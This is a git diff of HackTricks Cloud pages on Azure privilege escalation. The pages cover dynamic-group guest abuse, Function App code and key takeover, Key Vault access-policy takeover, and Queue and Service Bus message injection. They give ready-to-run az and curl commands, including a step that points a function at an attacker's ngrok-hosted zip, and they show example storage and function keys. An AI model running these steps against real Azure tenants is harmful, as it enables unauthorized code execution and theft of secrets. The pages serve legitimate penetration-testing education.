+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
@@ -0,0 +1,50 @@
+# Az - Dynamic Groups Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Basic Information
+
+**Dynamic groups** are groups that has a set of **rules** configured and all the **users or devices** that match the rules are added to the group. Every time a user or device **attribute** is **changed**, dynamic rules are **rechecked**. And when a **new rule** is **created** all devices and users are **checked**.
+
+Dynamic groups can have **Azure RBAC roles assigned** to them, but it's **not possible** to add **AzureAD roles** to dynamic groups.
+
+This feature requires Azure AD premium P1 license.
+
+## Privesc
+
+Note that by default any user can invite guests in Azure AD, so, If a dynamic group **rule** gives **permissions** to users based on **attributes** that can be **set** in a new **guest**, it's possible to **create a guest** with this attributes and **escalate privileges**. It's also possible for a guest to manage his own profile and change these attributes.
+
+Get groups that allow Dynamic membership: **`az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table`**
+
+### Example
+
+- **Rule example**: `(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")`
+- **Rule description**: Any Guest user with a secondary email with the string 'security' will be added to the group
+
+For the Guest user email, accept the invitation and check the current settings of **that user** in [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView).\
+Unfortunately the page doesn't allow to modify the attribute values so we need to use the API:
+
+```powershell
+# Login with the gust user
+az login --allow-no-subscriptions
+
+# Get user object ID
+az ad signed-in-user show
+
+# Update otherMails
+az rest --method PATCH \
+  --url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
+  --headers 'Content-Type=application/json' \
+  --body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'
+
+# Verify the update
+az rest --method GET \
+  --url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
+  --query "otherMails"
+```
+
+## References
+
+- [https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/](https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md
similarity index 79%
rename from pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md
rename to src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md
index c2b691c2c..32fee7bad 100644
--- a/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md
@@ -1,27 +1,14 @@
 # Az - Functions App Privesc
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Function Apps
 
 Check the following page for more information:
 
-{% content-ref url="../az-services/az-function-apps.md" %}
-[az-function-apps.md](../az-services/az-function-apps.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-function-apps.md
+{{#endref}}
 
 ### Bucket Read/Write
 
@@ -29,7 +16,7 @@ With permissions to read the containers inside the Storage Account that stores t
 
 Once you find where the code of the function is located if you have write permissions over it you can make the function execute any code and escalate privileges to the managed identities attached to the function.
 
-* **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
+- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
 
 The code of the function is usually stored inside a file share. With enough access it's possible to modify the code file and **make the function load arbitrary code** allowing to escalate privileges to the managed identities attached to the Function.
 
@@ -43,17 +30,15 @@ az functionapp config appsettings list \
 
 Those configs will contain the **Storage Account Key** that the Function can use to access the code.
 
-{% hint style="danger" %}
-With enough permission to connect to the File Share and **modify the script** running it's possible to execute arbitrary code in the Function and escalate privileges.
-{% endhint %}
+> [!CAUTION]
+> With enough permission to connect to the File Share and **modify the script** running it's possible to execute arbitrary code in the Function and escalate privileges.
 
 The following example uses macOS to connect to the file share, but it's recommended to check also the following page for more info about file shares:
 
-{% content-ref url="../az-services/az-file-shares.md" %}
-[az-file-shares.md](../az-services/az-file-shares.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-file-shares.md
+{{#endref}}
 
-{% code overflow="wrap" %}
 ```bash
 # Username is the name of the storage account
 # Password is the Storage Account Key
@@ -63,9 +48,8 @@ The following example uses macOS to connect to the file share, but it's recommen
 
 open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
 ```
-{% endcode %}
 
-* **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
+- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
 
 It's also common to find the **zip releases** inside the folder `function-releases` of the Storage Account container that the function app is using in a container **usually called `function-releases`**.
 
@@ -79,15 +63,14 @@ az functionapp config appsettings list \
 
 This config will usually contain a **SAS URL to download** the code from the Storage Account.
 
-{% hint style="danger" %}
-With enough permission to connect to the blob container that **contains the code in zip** it's possible to execute arbitrary code in the Function and escalate privileges.
-{% endhint %}
+> [!CAUTION]
+> With enough permission to connect to the blob container that **contains the code in zip** it's possible to execute arbitrary code in the Function and escalate privileges.
 
-* **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
+- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
 
 Just like in the previous case, if the deployment is done via Github Actions it's possible to find the folder **`github-actions-deploy`** in the Storage Account containing a zip of the code and a SAS URL to the zip in the setting `WEBSITE_RUN_FROM_PACKAGE`.
 
-* **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)
+- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)
 
 With permissions to read the containers inside the Storage Account that stores the function data it's possible to find the container **`scm-releases`**. In there it's possible to find the latest release in **Squashfs filesystem file format** and therefore it's possible to read the code of the function:
 
@@ -125,9 +108,8 @@ unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
 
 It's also possible to find the **master and functions keys** stored in the storage account in the container **`azure-webjobs-secrets`** inside the folder **`<app-name>`** in the JSON files you can find inside.
 
-{% hint style="danger" %}
-With enough permission to connect to the blob container that **contains the code in a zip extension file** (which actually is a **`squashfs`**) it's possible to execute arbitrary code in the Function and escalate privileges.
-{% endhint %}
+> [!CAUTION]
+> With enough permission to connect to the blob container that **contains the code in a zip extension file** (which actually is a **`squashfs`**) it's possible to execute arbitrary code in the Function and escalate privileges.
 
 ```bash
 # Modify code inside the script in /tmp/fs adding your code
@@ -148,30 +130,25 @@ az storage blob upload \
 
 This permission allows to list the function, master and system keys, but not the host one, of the specified function with:
 
-{% code overflow="wrap" %}
 ```bash
 az functionapp keys list --resource-group <res_group> --name <func-name>
 ```
-{% endcode %}
 
 With the master key it's also possible to to get the source code in a URL like:
 
-{% code overflow="wrap" %}
 ```bash
 # Get "script_href" from
 az rest --method GET \
   --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
 
-# Access 
+# Access
 curl "<script-href>?code=<master-key>"
 ## Python example:
 curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
 ```
-{% endcode %}
 
 And to **change the code that is being executed** in the function with:
 
-{% code overflow="wrap" %}
 ```bash
 # Set the code to set in the function in /tmp/function_app.py
 ## The following continues using the python example
@@ -181,70 +158,56 @@ curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwro
 -H "If-Match: *" \
 -v
 ```
-{% endcode %}
 
 ### Microsoft.Web/sites/functions/listKeys/action
 
 This permission allows to get the host key, of the specified function with:
 
-{% code overflow="wrap" %}
 ```bash
 az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
 ```
-{% endcode %}
 
 ### Microsoft.Web/sites/host/functionKeys/write
 
 This permission allows to create/update a function key of the specified function with:
 
-{% code overflow="wrap" %}
 ```bash
 az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
 ```
-{% endcode %}
 
 ### Microsoft.Web/sites/host/masterKey/write
 
 This permission allows to create/update a master key to the specified function with:
 
-{% code overflow="wrap" %}
 ```bash
 az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
 ```
-{% endcode %}
 
-{% hint style="danger" %}
-Remember that with this key you can also access the source code and modify it as explained before!
-{% endhint %}
+> [!CAUTION]
+> Remember that with this key you can also access the source code and modify it as explained before!
 
 ### Microsoft.Web/sites/host/systemKeys/write
 
 This permission allows to create/update a system function key to the specified function with:
 
-{% code overflow="wrap" %}
 ```bash
 az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
 ```
-{% endcode %}
 
 ### Microsoft.Web/sites/config/list/action
 
 This permission allows to get the settings of a function. Inside these configurations it might be possible to find the default values **`AzureWebJobsStorage`** or **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** which contains an **account key to access the blob storage of the function with FULL permissions**.
 
-{% code overflow="wrap" %}
 ```bash
 az functionapp config appsettings list --name <func-name> --resource-group <res-group>
 ```
-{% endcode %}
 
 Moreover, this permission also allows to get the **SCM username and password** (if enabled) with:
 
-{% code overflow="wrap" %}
 ```bash
 az rest --method POST \
   --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
 ```
-{% endcode %}
 
 ### Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write
 
@@ -252,7 +215,7 @@ These permissions allows to list the config values of a function as we have seen
 
 It's therefore possible to set the value of the setting **`WEBSITE_RUN_FROM_PACKAGE`** pointing to an URL zip file containing the new code to execute inside a web application:
 
-* Start by getting the current config
+- Start by getting the current config
 
 ```bash
 az functionapp config appsettings list \
@@ -260,10 +223,10 @@ az functionapp config appsettings list \
   --resource-group <res-name>
 ```
 
-* Create the code you want the function to run and host it publicly
+- Create the code you want the function to run and host it publicly
 
 ```bash
-# Write inside /tmp/web/function_app.py the code of the function 
+# Write inside /tmp/web/function_app.py the code of the function
 cd /tmp/web/function_app.py
 zip function_app.zip function_app.py
 python3 -m http.server
@@ -272,11 +235,10 @@ python3 -m http.server
 ngrok http 8000
 ```
 
-* Modify the function, keep the previous parameters and add at the end the config **`WEBSITE_RUN_FROM_PACKAGE`** pointing to the URL with the **zip** containing the code.
+- Modify the function, keep the previous parameters and add at the end the config **`WEBSITE_RUN_FROM_PACKAGE`** pointing to the URL with the **zip** containing the code.
 
 The following is an example of my **own settings you will need to change the values for yours**, note at the end the values `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` , this is where I was hosting the app.
 
-{% code overflow="wrap" %}
 ```bash
 # Modify the function
 az rest --method PUT \
@@ -284,13 +246,11 @@ az rest --method PUT \
   --headers '{"Content-Type": "application/json"}' \
   --body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
 ```
-{% endcode %}
 
 ### Microsoft.Web/sites/hostruntime/vfs/write
 
 With this permission it's **possible to modify the code of an application** through the web console (or through the following API endpoint):
 
-{% code overflow="wrap" %}
 ```bash
 # This is a python example, so we will be overwritting function_app.py
 # Store in /tmp/body the raw python code to put in the function
@@ -299,7 +259,6 @@ az rest --method PUT \
   --headers '{"Content-Type": "application/json", "If-Match": "*"}' \
   --body @/tmp/body
 ```
-{% endcode %}
 
 ### Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)
 
@@ -321,11 +280,10 @@ az functionapp deployment user set \
     --password 'P@ssw0rd123!'
 ```
 
-* If **REDACTED** credentials
+- If **REDACTED** credentials
 
 If you see that those credentials are **REDACTED**, it's because you **need to enable the SCM basic authentication option** and for that you need the second permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
 
-{% code overflow="wrap" %}
 ```bash
 # Enable basic authentication for SCM
 az rest --method PUT \
@@ -345,9 +303,8 @@ az rest --method PUT \
         }
     }
 ```
-{% endcode %}
 
-* **Method SCM**
+- **Method SCM**
 
 Then, you can access with these **basic auth credentials to the SCM URL** of your function app and get the values of the env variables:
 
@@ -368,7 +325,7 @@ You can also access the web page from `https://<app-name>.scm.azurewebsites.net/
 
 The settings values contains the **AccountKey** of the storage account storing the data of the function app, allowing to control that storage account.
 
-* **Method FTP**
+- **Method FTP**
 
 Connect to the FTP server using:
 
@@ -392,30 +349,25 @@ _Note that the **FTP username** is usually in the format \<app-name>\\$\<app-nam
 
 According to [**the docs**](https://github.com/projectkudu/kudu/wiki/REST-API#command), this permission allows to **execute commands inside the SCM server** which could be used to modify the source code of the application:
 
-{% code overflow="wrap" %}
 ```bash
 az rest --method POST \
   --resource "https://management.azure.com/" \
   --url "https://newfuncttest123.scm.azurewebsites.net/api/command" \
   --body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug
 ```
-{% endcode %}
 
 ### Microsoft.Web/sites/hostruntime/vfs/read
 
 This permission allows to **read the source code** of the app through the VFS:
 
-{% code overflow="wrap" %}
 ```bash
 az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
 ```
-{% endcode %}
 
 ### Microsoft.Web/sites/functions/token/action
 
 With this permission it's possible to [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) which can be later used to retrieve the **master key** and therefore access and modify the function's code:
 
-{% code overflow="wrap" %}
 ```bash
 # Get admin token
 az rest --method POST \
@@ -427,7 +379,6 @@ az rest --method POST \
 curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
   -H "Authorization: Bearer <token>"
 ```
-{% endcode %}
 
 ### Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)
 
@@ -443,11 +394,9 @@ az functionapp config appsettings set \
 
 It's also possible to see if a function is enabled or disabled in the following URL (using the permission in parenthesis):
 
-{% code overflow="wrap" %}
 ```bash
 az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
 ```
-{% endcode %}
 
 ### Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)
 
@@ -463,14 +412,12 @@ az functionapp config container set --name <app-name> \
 
 With these permissions it's possible to **attach a new user managed identity to a function**. If the function was compromised this would allow to escalate privileges to any user managed identity.
 
-{% code overflow="wrap" %}
 ```bash
 az functionapp identity assign \
     --name <app-name> \
     --resource-group <res-group> \
     --identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
 ```
-{% endcode %}
 
 ### Remote Debugging
 
@@ -484,11 +431,9 @@ az functionapp show --name <app-name> --resource-group <res-group>
 
 Having the permission `Microsoft.Web/sites/config/write` it's also possible to put a function in debugging mode (the following command also requires the permissions `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` and `Microsoft.Web/sites/Read`).
 
-{% code overflow="wrap" %}
 ```bash
 az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
 ```
-{% endcode %}
 
 ### Change Github repo
 
@@ -509,17 +454,4 @@ az functionapp deployment source config \
   --branch main --github-action true
 ```
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md
new file mode 100644
index 000000000..700f6e3eb
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md
@@ -0,0 +1,34 @@
+# Az - Key Vault Privesc
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Azure Key Vault
+
+For more information about this service check:
+
+{{#ref}}
+../az-services/keyvault.md
+{{#endref}}
+
+### Microsoft.KeyVault/vaults/write
+
+An attacker with this permission will be able to modify the policy of a key vault (the key vault must be using access policies instead of RBAC).
+
+```bash
+# If access policies in the output, then you can abuse it
+az keyvault show --name <vault-name>
+
+# Get current principal ID
+az ad signed-in-user show --query id --output tsv
+
+# Assign all permissions
+az keyvault set-policy \
+  --name <vault-name> \
+  --object-id <your-object-id> \
+  --key-permissions all \
+  --secret-permissions all \
+  --certificate-permissions all \
+  --storage-permissions all
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md
similarity index 54%
rename from pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md
rename to src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md
index 0d92f6fca..af2250673 100644
--- a/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md
@@ -1,37 +1,22 @@
 # Az - Queue Storage Privesc
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Queue
 
 For more information check:
 
-{% content-ref url="../az-services/az-queue-enum.md" %}
-[az-queue-enum.md](../az-services/az-queue-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-queue-enum.md
+{{#endref}}
 
 ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/read`
 
 An attacker with this permission can peek messages from an Azure Storage Queue. This allows the attacker to view the content of messages without marking them as processed or altering their state. This could lead to unauthorized access to sensitive information, enabling data exfiltration or gathering intelligence for further attacks.
 
-{% code overflow="wrap" %}
 ```bash
 az storage message peek --queue-name <queue_name> --account-name <storage_account>
 ```
-{% endcode %}
 
 **Potential Impact**: Unauthorized access to the queue, message exposure, or queue manipulation by unauthorized users or services.
 
@@ -39,27 +24,22 @@ az storage message peek --queue-name <queue_name> --account-name <storage_accoun
 
 With this permission, an attacker can retrieve and process messages from an Azure Storage Queue. This means they can read the message content and mark it as processed, effectively hiding it from legitimate systems. This could lead to sensitive data being exposed, disruptions in how messages are handled, or even stopping important workflows by making messages unavailable to their intended users.
 
-{% code overflow="wrap" %}
 ```bash
 az storage message get --queue-name <queue_name> --account-name <storage_account>
 ```
-{% endcode %}
 
 ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/add/action`
 
 With this permission, an attacker can add new messages to an Azure Storage Queue. This allows them to inject malicious or unauthorized data into the queue, potentially triggering unintended actions or disrupting downstream services that process the messages.
 
-{% code overflow="wrap" %}
 ```bash
 az storage message put --queue-name <queue-name> --content "Injected malicious message" --account-name <storage-account>
 ```
-{% endcode %}
 
 ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/write`
 
 This permission allows an attacker to add new messages or update existing ones in an Azure Storage Queue. By using this, they could insert harmful content or alter existing messages, potentially misleading applications or causing undesired behaviors in systems that rely on the queue.
 
-{% code overflow="wrap" %}
 ```bash
 az storage message put --queue-name <queue-name> --content "Injected malicious message" --account-name <storage-account>
 
@@ -71,13 +51,11 @@ az storage message update --queue-name <queue-name> \
     --visibility-timeout <timeout-in-seconds> \
     --account-name <storage-account>
 ```
-{% endcode %}
 
 ### Action: `Microsoft.Storage/storageAccounts/queueServices/queues/write`
 
 This permission allows an attacker to create or modify queues and their properties within the storage account. It can be used to create unauthorized queues, modify metadata, or change access control lists (ACLs) to grant or restrict access. This capability could disrupt workflows, inject malicious data, exfiltrate sensitive information, or manipulate queue settings to enable further attacks.
 
-{% code overflow="wrap" %}
 ```bash
 az storage queue create --name <new-queue-name> --account-name <storage-account>
 
@@ -85,25 +63,11 @@ az storage queue metadata update --name <queue-name> --metadata key1=value1 key2
 
 az storage queue policy set --name <queue-name> --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name <storage-account>
 ```
-{% endcode %}
 
 ## References
 
-* https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
-* https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
-* https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes
+- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
+- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
+- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md
similarity index 72%
rename from pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md
rename to src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md
index ce5248f01..1aff5fbc9 100644
--- a/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md
@@ -1,34 +1,19 @@
 # Az - Service Bus Privesc
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Service Bus
 
 For more information check:
 
-{% content-ref url="../az-services/az-servicebus-enum.md" %}
-[az-servicebus-enum.md](../az-services/az-servicebus-enum.md)
-{% endcontent-ref %}
-
+{{#ref}}
+../az-services/az-servicebus-enum.md
+{{#endref}}
 
 ### Send Messages. Action: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` OR `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
 
 You can retrieve the `PrimaryConnectionString`, which acts as a credential for the Service Bus namespace. With this connection string, you can fully authenticate as the Service Bus namespace, enabling you to send messages to any queue or topic and potentially interact with the system in ways that could disrupt operations, impersonate valid users, or inject malicious data into the messaging workflow.
 
-{% code overflow="wrap" %}
 ```python
 #You need to install the following libraries
 #pip install azure-servicebus
@@ -97,12 +82,11 @@ print("Messages Sent")
 print("----------------------------")
 
 ```
-{% endcode %}
 
